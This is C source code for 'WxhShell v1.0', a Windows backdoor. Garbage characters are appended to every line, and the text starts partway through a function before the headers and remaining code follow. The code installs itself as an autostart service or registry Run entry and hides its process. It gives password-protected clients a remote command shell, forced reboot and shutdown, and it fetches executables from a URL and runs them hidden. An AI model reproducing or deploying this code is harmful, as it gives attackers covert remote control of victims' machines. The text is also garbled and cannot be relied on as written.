    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M ?3N  
    else { kzmt'/L8  
    closesocket(wsh); 6,7omYof  
    ExitThread(0); U=t'>;(g  
    } VsmL#@E  
    break; +sI.GWQ_:  
    } 3K{8sFDO  
  // 获取shell P$QjDu-  
  case 's': { x3P@AC$\  
    CmdShell(wsh); 7^iAc6QSy3  
    closesocket(wsh); C:K\-P9  
    ExitThread(0); ##5/%#eZ  
    break; YNXk32@j@e  
  } D=\|teA&  
  // 退出 6a@~;!GlI  
  case 'x': { BNy"YK$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4W?<hv+k7*  
    CloseIt(wsh); WAa?$"U2  
    break;  n=&c5!  
    } 5;{Bdvcv  
  // 离开 nT12[@:Tr  
  case 'q': { q>[% C5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :9#`| #uh  
    closesocket(wsh); moR]{2Cd{  
    WSACleanup(); vhHMxOZ;  
    exit(1); Dr 1F|[  
    break; yRYWx` G  
        } y#0w\/<  
  } uaKB   
  } 3wE8y&  
.}E)7"Qi,  
  // 提示信息 9PJDT]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z C93C7lJ  
} Kzb@JBIF  
  } 9X%Klm 5w  
*I67SBt  
  return; Ig<p(G.;}  
} E1C_d'  
NM@An2  
// shell模块句柄 =F&RQ}$   
int CmdShell(SOCKET sock) [*G2wP[$  
{ 2UF94  
STARTUPINFO si; mc'p-orAf  
ZeroMemory(&si,sizeof(si)); DSC4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b8>9mKs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ddP,_.0  
PROCESS_INFORMATION ProcessInfo; a%!XLyq  
char cmdline[]="cmd"; ^{s0d+@{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Z2eQx jtM  
  return 0; l:eNu}{&  
} C6w{"[Wv=X  
@"8QG^q8de  
// 自身启动模式 DKl7|zG4  
int StartFromService(void) uE j6A  
{ J7GsNFL  
typedef struct hBhkb ~Oky  
{ 6\;1<Sw*  
  DWORD ExitStatus; "o 3"1s>d{  
  DWORD PebBaseAddress; .LhmYbQ2WE  
  DWORD AffinityMask; IFxI>6<&  
  DWORD BasePriority; >#?: x*[  
  ULONG UniqueProcessId; ]e.+u  
  ULONG InheritedFromUniqueProcessId; md"%S-a_dT  
}   PROCESS_BASIC_INFORMATION; QZr<=}   
9C;Y5E~'L  
PROCNTQSIP NtQueryInformationProcess; h*UUtLi%WU  
K]8wW;N4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l*Ei7 |Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <&:&qn gg  
8>q% 1]X  
  HANDLE             hProcess; P@YL.'KU)  
  PROCESS_BASIC_INFORMATION pbi; + nS/jW  
v{n}%akc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =-LX)|x}  
  if(NULL == hInst ) return 0; ?MM3LA! <  
df *#?Ok  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .4> s2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &.hRVW(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |"qB2.[  
~C'nBV  
  if (!NtQueryInformationProcess) return 0; AJfi,rFPg  
`uVW<z{ l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;6nZ  
  if(!hProcess) return 0; b:Kw_Q  
b U]N^og^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ==1/N{{R  
i8_x1=A  
  CloseHandle(hProcess); U!:!]DX(  
oxQID  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %:KV2GP  
if(hProcess==NULL) return 0; vQ mackY  
q_y,j&  
HMODULE hMod; DXW?;|8)O  
char procName[255]; 8$ZSF92C  
unsigned long cbNeeded; 1lyOp   
I<./(X[H:#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^r*%BUU9]%  
Gr$*t,ZW  
  CloseHandle(hProcess); / 7XdV  
d[e:}1  
if(strstr(procName,"services")) return 1; // 以服务启动 "P5bYq%0v  
$H-D9+8 7  
  return 0; // 注册表启动 1{x~iZa  
} @:+n6  
Q\#{2!I  
// 主模块 6'Yn|A  
int StartWxhshell(LPSTR lpCmdLine) b+].Uc  
{ eH%L?"J~:  
  SOCKET wsl; ?lDcaI>+n  
BOOL val=TRUE; }<ONxg6Kb  
  int port=0; l$VxE'&LQ  
  struct sockaddr_in door; w2N3+Tkg  
>xV<nLf/  
  if(wscfg.ws_autoins) Install(); &rztC]jF  
iW1ih Q X  
port=atoi(lpCmdLine); 8;g.3Qv  
e=o{Zo?H=  
if(port<=0) port=wscfg.ws_port; mERrcYY{  
x56 F  
  WSADATA data; e9@fQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j%Z{.>mJ  
!N8)C@=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #VdI{IbW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M=[q+A  
  door.sin_family = AF_INET; s i "`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Uu(OI<)  
  door.sin_port = htons(port); fE%[j?[  
m>+,^`0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R g0 XW6  
closesocket(wsl); \W`}L  
return 1; J'ZFIT_>  
} FW)^O%2s  
I0w@S7  
  if(listen(wsl,2) == INVALID_SOCKET) { ?[ S >&Vq  
closesocket(wsl); N _~KZQ11^  
return 1; sb|3|J6=  
} Q;XHHk  
  Wxhshell(wsl); O<dZA=Oez  
  WSACleanup();  m-'(27  
R8[i XXjku  
return 0; #i+P(xV  
w <#*O:  
} ECS<l*i57&  
,/?%y\:J  
// 以NT服务方式启动 "T{~,'T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O:,2OMB}B`  
{ a\&(Ua  
DWORD   status = 0; Ukx/jNyYv  
  DWORD   specificError = 0xfffffff; Ztyv@z'/Z  
qBBYckS.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }^pQbFku  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n-y^ 7'v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iijd $Tv  
  serviceStatus.dwWin32ExitCode     = 0; -?aw^du  
  serviceStatus.dwServiceSpecificExitCode = 0; yF/< :  
  serviceStatus.dwCheckPoint       = 0; -.b Io  
  serviceStatus.dwWaitHint       = 0; HTUYvU*-  
W7*_T]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^3WIl ]  
  if (hServiceStatusHandle==0) return; %on9C`/  
9uw,-0*5  
status = GetLastError(); h nsa)@  
  if (status!=NO_ERROR) @0vC v  
{ Tw`c6^%^y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iM/*&O}  
    serviceStatus.dwCheckPoint       = 0; tB,.  
    serviceStatus.dwWaitHint       = 0; g]Xzio&w  
    serviceStatus.dwWin32ExitCode     = status; 68p\WheCal  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^A 11h6I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u+z .J4w  
    return; Ufaqhh  
  } 1o|0x\q  
''(fH$pY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v?YdLR  
  serviceStatus.dwCheckPoint       = 0; e7XsyL'|p  
  serviceStatus.dwWaitHint       = 0; eg$5z Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {{.sEi*  
} hy$MV3LP  
z;bH<cQ  
// 处理NT服务事件,比如:启动、停止 ~'^!udF-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :7$\X[  
{ `R=a@DQ  
switch(fdwControl) {DEzuU  
{ ZL-uwI!`D  
case SERVICE_CONTROL_STOP: t<!+b@l5  
  serviceStatus.dwWin32ExitCode = 0; YQ8j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P\22op_te-  
  serviceStatus.dwCheckPoint   = 0; +}c|O+6g  
  serviceStatus.dwWaitHint     = 0; CJMaltPp&  
  { W(uP`M%][0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd30Be2gd  
  } #1QX!dK+  
  return; 9UeVvH  
case SERVICE_CONTROL_PAUSE: "pSH!0Ap\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r@*=|0(OrK  
  break; 9N~8s6Ob  
case SERVICE_CONTROL_CONTINUE: $6:XsrV\a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wJ80};!  
  break; vQ-i xh  
case SERVICE_CONTROL_INTERROGATE: % ~#!NX  
  break; r{K\(UT]!  
}; 1DEO3p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=oHl@  
} WF ?/GN  
T!u'V'Ei2  
// 标准应用程序主函数 qDby!^ryc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a. h?4+^bN  
{ xa87xX=a  
o &BPG@n  
// 获取操作系统版本 G$;>ueM  
OsIsNt=GetOsVer(); QD$}-D[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X'V+^u@W  
hl AR[]  
  // 从命令行安装 TK; \_yN  
  if(strpbrk(lpCmdLine,"iI")) Install(); RGT_}ni  
8w)e/*:j  
  // 下载执行文件 y#]}5gJ  
if(wscfg.ws_downexe) { r?64!VS;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xtci0eS#V  
  WinExec(wscfg.ws_filenam,SW_HIDE); )^t!|*1LA  
} |7rR99  
P['X<Xt8  
if(!OsIsNt) { IXGW2z;  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ 3$.*   
HideProc(); tO?21?AD D  
StartWxhshell(lpCmdLine); \e?.h m q  
} w) =eMdj\o  
else f!5F]qP>-  
  if(StartFromService()) ;EK(b  
  // 以服务方式启动 -L@]I$Yo  
  StartServiceCtrlDispatcher(DispatchTable); x  S   
else -1Djo:y  
  // 普通方式启动 \Os:6U=X-  
  StartWxhshell(lpCmdLine); s{yJ:WncI  
:&Qb>PH[  
return 0; 'n~fR]h}  
} sS C?io  
OI~}e,[2z  
fph-v-cl  
e Wc_N  
=========================================== y7CWBTH0>  
W;^N8ap%  
 %)pP[[h  
Hab!qWK`  
g93I+  
O[; +i  
" pPoH5CzcK  
S*4f%!  
#include <stdio.h> <e'P%tG'  
#include <string.h> fk+1#7{  
#include <windows.h> s>T`l  
#include <winsock2.h> $v FrUv  
#include <winsvc.h> {5SfE$r  
#include <urlmon.h> ft{W/ * +_  
a]`itjL^  
#pragma comment (lib, "Ws2_32.lib") j2M4H@  
#pragma comment (lib, "urlmon.lib") mRCHrw?WG  
llNXQlP\B  
#define MAX_USER   100 // 最大客户端连接数 1XG$ z@NN  
#define BUF_SOCK   200 // sock buffer >W'j9+Va  
#define KEY_BUFF   255 // 输入 buffer GOGt?iw*<  
>&BrCu[u  
#define REBOOT     0   // 重启 !~kEtC  
#define SHUTDOWN   1   // 关机 zEy&4Kl{+  
_Aa[?2 O  
#define DEF_PORT   5000 // 监听端口 3a'q`.L  
a~WqUL  
#define REG_LEN     16   // 注册表键长度 $)Wb#B  
#define SVC_LEN     80   // NT服务名长度 @\ }sb]  
TfL4_IAG.  
// 从dll定义API X&s7% ]n+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :ztyxJv1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CQ<8P86gt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ai4PM b$p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7UnzIe  
=qw &dwIQ  
// wxhshell配置信息 V7P6zAJy  
struct WSCFG { G[#.mD{k  
  int ws_port;         // 监听端口 QeL{Wa-2F  
  char ws_passstr[REG_LEN]; // 口令 58J_ w X  
  int ws_autoins;       // 安装标记, 1=yes 0=no IK3qE!,&U  
  char ws_regname[REG_LEN]; // 注册表键名 @.k5MOn  
  char ws_svcname[REG_LEN]; // 服务名 ^+M><jE9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }?J~P%HpF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g&bwtEZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |ixGY^3;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }hCaNQ&jH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ss 2$n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z9xR  
^PC\E}  
}; ~ Yl<S(/4  
P])L8zK  
// default Wxhshell configuration s{ =5-:  
struct WSCFG wscfg={DEF_PORT, wk@yTTnb  
    "xuhuanlingzhe", ^T{8uJ'kn  
    1, ?NlSeh  
    "Wxhshell", :Dayv6g  
    "Wxhshell", }C_|gd  
            "WxhShell Service", b"t")U==  
    "Wrsky Windows CmdShell Service", \BUqDd!  
    "Please Input Your Password: ", R>*g\}9Zh3  
  1, o_O+u%y  
  "http://www.wrsky.com/wxhshell.exe", EX4 C.C|d  
  "Wxhshell.exe" l&3ki!  
    }; PRwu  
Q3,=~}ZNK  
// 消息定义模块 "c,!vc4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tn{8u7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }'TTtV:Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jh?z=JY  
char *msg_ws_ext="\n\rExit."; n26>>N  
char *msg_ws_end="\n\rQuit."; ;b1wk^,Hw~  
char *msg_ws_boot="\n\rReboot..."; y^G>{?Tha  
char *msg_ws_poff="\n\rShutdown..."; o!utZmk$  
char *msg_ws_down="\n\rSave to "; 6|^0_6_  
%9X{{_  
char *msg_ws_err="\n\rErr!"; /$Z m~Mp  
char *msg_ws_ok="\n\rOK!"; \6:>{0\  
2h<U  
char ExeFile[MAX_PATH]; y@`~9$  
int nUser = 0; /VO^5Dnb  
HANDLE handles[MAX_USER]; wLUF v(&C  
int OsIsNt; U{}!y3[wK  
tOM(U-7Z&  
SERVICE_STATUS       serviceStatus; Px#$uU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (f~gEKcB2u  
 uB;_vC  
// 函数声明 &n|*uLn  
int Install(void); -;>#3 O-  
int Uninstall(void); \vVSh  
int DownloadFile(char *sURL, SOCKET wsh); t:=k)B  
int Boot(int flag); H_Os4}  
void HideProc(void); {i>Jfl]G}  
int GetOsVer(void); $/paEn"  
int Wxhshell(SOCKET wsl); _88QgThb  
void TalkWithClient(void *cs); Y\p $SN  
int CmdShell(SOCKET sock); 8R}K?+]  
int StartFromService(void); @!<d0_dnC  
int StartWxhshell(LPSTR lpCmdLine); V&[eSVY?  
 U(~U!O}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4V$fGjJ3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -`Q}tg>cT  
AK*N  
// 数据结构和表定义 HIGNRm  
SERVICE_TABLE_ENTRY DispatchTable[] = m?;$;x~Dj  
{ |s f*hlrJ  
{wscfg.ws_svcname, NTServiceMain}, |l7%l&!  
{NULL, NULL} 4P%m>[   
}; .*!#98pT  
%iJ|H(P  
// 自我安装 *,lh:  
int Install(void) ax_YKJ5#P  
{ \QT9HAdd@  
  char svExeFile[MAX_PATH]; 9cfR)*Q  
  HKEY key; [@3SfQ  
  strcpy(svExeFile,ExeFile); "OL~ul5  
b+@D_E-RJ  
// 如果是win9x系统,修改注册表设为自启动 IqUp4}  
if(!OsIsNt) { Z>2]Xx% \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 94{)"w]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X V=S )  
  RegCloseKey(key); FVgMmYU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +9[SVw8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '9J*6uXf.  
  RegCloseKey(key); 6^E`Sa! s  
  return 0; o@/xPo|  
    } gvyT-XI  
  } >'`Sf ?+|  
} >vujZw_0>  
else { ,J(lJ,c  
*vnXlV4L  
// 如果是NT以上系统,安装为系统服务 RtC'v";6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [M:S`{SbY  
if (schSCManager!=0) :c7CiP  
{ ?2ItB`<(  
  SC_HANDLE schService = CreateService ntGq" o  
  ( @B`Md3$7  
  schSCManager, P^[/Qi}j  
  wscfg.ws_svcname,  AmcC:5  
  wscfg.ws_svcdisp, NfwYDY  
  SERVICE_ALL_ACCESS, wqy ^8N[K]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %{C)1*M7  
  SERVICE_AUTO_START, >SDp uG&>  
  SERVICE_ERROR_NORMAL, _ 08];M|  
  svExeFile, 2a `J%A  
  NULL, ~Ltr.ci  
  NULL, nbmc[!PwG  
  NULL, tZA:  
  NULL, )X5(#E  
  NULL EGS%C%>l/o  
  ); = .`jjDJ  
  if (schService!=0) J`oTes,  
  { >"("*3AO  
  CloseServiceHandle(schService); w`gyE 6A  
  CloseServiceHandle(schSCManager); r,xmEj0E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E>pVn2|  
  strcat(svExeFile,wscfg.ws_svcname); fbC~WV#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |!LnAh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d ?hz LX  
  RegCloseKey(key); 4D"4zp7  
  return 0; 6)[< )?A.[  
    } #3MKH8k&~  
  } {TAw)!R~  
  CloseServiceHandle(schSCManager); \%5MAQS  
} r]LCvsVa  
} %8FN0  
ut &/\k=N  
return 1; }1QF+C f  
} )q3"t2-  
v01#>,R  
// 自我卸载 Q$a  
int Uninstall(void) ^8K/xo-  
{ H+l,)Se  
  HKEY key; B?6QMC;  
iiNSDc  
if(!OsIsNt) { s@!$='|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <KQ(c`KW7  
  RegDeleteValue(key,wscfg.ws_regname); U7H9/<&o  
  RegCloseKey(key); Qn=$8!Qqa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ndi+xaQtG  
  RegDeleteValue(key,wscfg.ws_regname); #ia;- 3  
  RegCloseKey(key); HI!4  
  return 0; OW`STp!  
  } Gv~p  
} WY>Knp=  
} M"wue*&  
else { yA;W/I4  
nvyB/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8;n_TMb  
if (schSCManager!=0) 6E^~n  
{ X9XI;c;b-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [,g~m9  
  if (schService!=0) g1|w?pI1  
  { 3M<!?%v\A  
  if(DeleteService(schService)!=0) { ~V+l_ :  
  CloseServiceHandle(schService); 3?E}t*/  
  CloseServiceHandle(schSCManager); dGkg aC+  
  return 0; 97LpY_sU  
  } P} r)wAt  
  CloseServiceHandle(schService); D:E9!l'  
  } ,]$A\+m'  
  CloseServiceHandle(schSCManager); 3f&|h^\nD  
} *%A}x   
} k4y}&?$B  
rK|*hcy  
return 1; va,~w(G  
} 'HaD~pa  
4JO@BV>t  
// 从指定url下载文件 +jV_Wz  
int DownloadFile(char *sURL, SOCKET wsh) mEDpKWBk  
{ edpW8eND  
  HRESULT hr; g>0vm2|  
char seps[]= "/"; c K<)$*  
char *token; P))^vUt~  
char *file; FFzH!=7T?  
char myURL[MAX_PATH]; FpVV4D  
char myFILE[MAX_PATH]; i_l+:/+G+  
M{KW@7j  
strcpy(myURL,sURL); flnVYQe  
  token=strtok(myURL,seps); 8MF2K6  
  while(token!=NULL) fN[8N$1-  
  { xPC"c*  
    file=token; p538r[f<  
  token=strtok(NULL,seps); <avQR9'&  
  } tZ8e`r*  
lLiQ;@  
GetCurrentDirectory(MAX_PATH,myFILE); wE Qi0!  
strcat(myFILE, "\\"); FPv" N'/  
strcat(myFILE, file); l(:kfR~AC  
  send(wsh,myFILE,strlen(myFILE),0); ]QrR1Rg  
send(wsh,"...",3,0); #`ejU&!6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :zp`6l  
  if(hr==S_OK) JN[0L:  
return 0; .v])S}K  
else _\zQ"y|G  
return 1; PT_KXk  
`W5-.Tv  
} h;M3yTM-  
oU+F3b}5p  
// 系统电源模块 jw>h k  
int Boot(int flag) jk7 0u[\  
{ S/gm.?$V  
  HANDLE hToken; nhH;?D3  
  TOKEN_PRIVILEGES tkp; ]U_ec*a  
^T079=$5  
  if(OsIsNt) { \}dyS8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OW5t[~y]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); id,NONb\  
    tkp.PrivilegeCount = 1; Ge \["`;i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 /Y1 wu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p>kq+mP2bc  
if(flag==REBOOT) { .-]R9KjR1J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !I8f#'p  
  return 0; .6.^G  
} x;#zs64f  
else { z2 hFn&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qqOFr!)g  
  return 0; ~]fJlfR*  
} O)#U ^  
  } k`VM2+9h'^  
  else { $c9k*3{<+A  
if(flag==REBOOT) { 9M-K]0S(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %oof}=MxCL  
  return 0; mP^SS Je  
} Pe ~c  
else { 0(\+-<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?I W_O~Js  
  return 0; pJ^NA2  
} }iww:H-1  
} PHr a+NY#A  
AEg(m<t  
return 1; SvuTc!$?  
} EX "|H.(  
,YLF+^w-  
// win9x进程隐藏模块 P+(i^=S  
void HideProc(void) wL{qD  
{ Xs$Ufi  
j8$Zv%Ca%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @;^Y7po6u  
  if ( hKernel != NULL ) 8]"(!i_;)  
  { r4{<Z3*N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |g&ym Fc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [EZYsOr.  
    FreeLibrary(hKernel); %&+59vq   
  } HuI`#.MpWE  
&|o$=Ad  
return; *l+Cl%e  
} Fo|xzLm9*|  
jna;0)  
// 获取操作系统版本 07_oP(;jT  
int GetOsVer(void) !a-b6Aa  
{ mG2'Y)Sz  
  OSVERSIONINFO winfo; E4oz|2!m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m&Yi!7@(  
  GetVersionEx(&winfo); C/@LZ OEL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I.jZ wW!r  
  return 1; 8l+H"M&|  
  else k*Nr!Z!}  
  return 0; raUs%Y3  
} jAhP> t:  
B6M+mx"G  
// 客户端句柄模块 SoQR#(73HK  
int Wxhshell(SOCKET wsl) -n))*.V  
{ !iu5OX7K|  
  SOCKET wsh; P,z:Z| }8  
  struct sockaddr_in client; M {a #  
  DWORD myID; \ v2H^j/  
{6,|IGAq V  
  while(nUser<MAX_USER) LR&_2e^[  
{ m5c&&v6%"b  
  int nSize=sizeof(client); ^twivNB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +wfVL|.Wq  
  if(wsh==INVALID_SOCKET) return 1; /b[2lTC-e  
lP _db&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7&%^>PU7  
if(handles[nUser]==0) Te-Amu  
  closesocket(wsh); uofr8oL~  
else 0!GAk   
  nUser++; Dd $qQ  
  } b>=_*nw9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~^US/"  
N|Cs=-+  
  return 0; WlwY <)  
} 5W? PCOh\  
>FF5x#^&c  
// 关闭 socket Lxe^v/LsT  
void CloseIt(SOCKET wsh) ;sOsT?)7$  
{ w4};q%OBj  
closesocket(wsh); \=e8%.#@J  
nUser--; /bVZ::A&_  
ExitThread(0); YZwaD b  
} x4kWLy7Sz  
/@oLe[Mz$  
// 客户端请求句柄 n=sXSxl  
void TalkWithClient(void *cs) #bnb ': f  
{ b{Zpux+  
b$JBL_U5Ch  
  SOCKET wsh=(SOCKET)cs; #5ax^p2*~  
  char pwd[SVC_LEN]; On_@HQ/FI  
  char cmd[KEY_BUFF]; B(5c9DI`  
char chr[1]; ]N)DS+V/  
int i,j; ERMa# L  
kuMKX`_  
  while (nUser < MAX_USER) { 1 Y/$,Oa5  
\Sy7 "a  
if(wscfg.ws_passstr) { 0D&>Gyc*0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )}lRd#V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^))RM_ic  
  //ZeroMemory(pwd,KEY_BUFF); p<GR SJIk=  
      i=0; !PUZWO  
  while(i<SVC_LEN) { zqySm) o]  
F2I 5q C/  
  // 设置超时 Fd$!wBL  
  fd_set FdRead; 9";sMB}W*  
  struct timeval TimeOut; =?Fkn4t  
  FD_ZERO(&FdRead); nHOr AD|&  
  FD_SET(wsh,&FdRead); kBWrqZ6  
  TimeOut.tv_sec=8; ](0mjE04<d  
  TimeOut.tv_usec=0; GHc/Zc"iX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?A*Kg;IU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {3\R|tZh,`  
wxQ>ifi9Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /BA{O&Ro^  
  pwd=chr[0]; al^!,ykc  
  if(chr[0]==0xd || chr[0]==0xa) { +OaUP*\Dd  
  pwd=0; /pH(WHT+/H  
  break; + %*&.@z_  
  } ODw`E9  
  i++; h1D?=M\9  
    } |L3X_Me  
x hs#u  
  // 如果是非法用户,关闭 socket j]4,<ppWSH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vDj;>VE2b  
} m.Lij!0  
B;#J"6w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k[|~NLB8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ixfdO\nU  
Y}G_Z#-!  
while(1) { IVvtX}  
-yH,5vD  
  ZeroMemory(cmd,KEY_BUFF); UXr5aZ7y  
S6i@"h5  
      // 自动支持客户端 telnet标准   8F5|EpB9M  
  j=0; 'xK.U I  
  while(j<KEY_BUFF) { UmU:j@ xvg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S]/b\ B.h+  
  cmd[j]=chr[0]; PO-"M)M  
  if(chr[0]==0xa || chr[0]==0xd) { 5p"BD'^:  
  cmd[j]=0; Zk-~a r  
  break; hlJpElYf  
  } 7 h=QW5  
  j++; #(;<-7M2  
    } LO%!Z,}   
rfcN/:k  
  // 下载文件 P87# CAN  
  if(strstr(cmd,"http://")) { [j,txe?n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #& .]" d  
  if(DownloadFile(cmd,wsh)) &p(0K4:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wVl+]zB  
  else K|S:{9Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i?@M  
  } +=$  
  else { `{K_/Cit  
qi[Z,&  
    switch(cmd[0]) { .i"W8~<e  
  Qt>>$3]!!  
  // 帮助 ?V(^YFzZ  
  case '?': { Bn?V9TEoO  
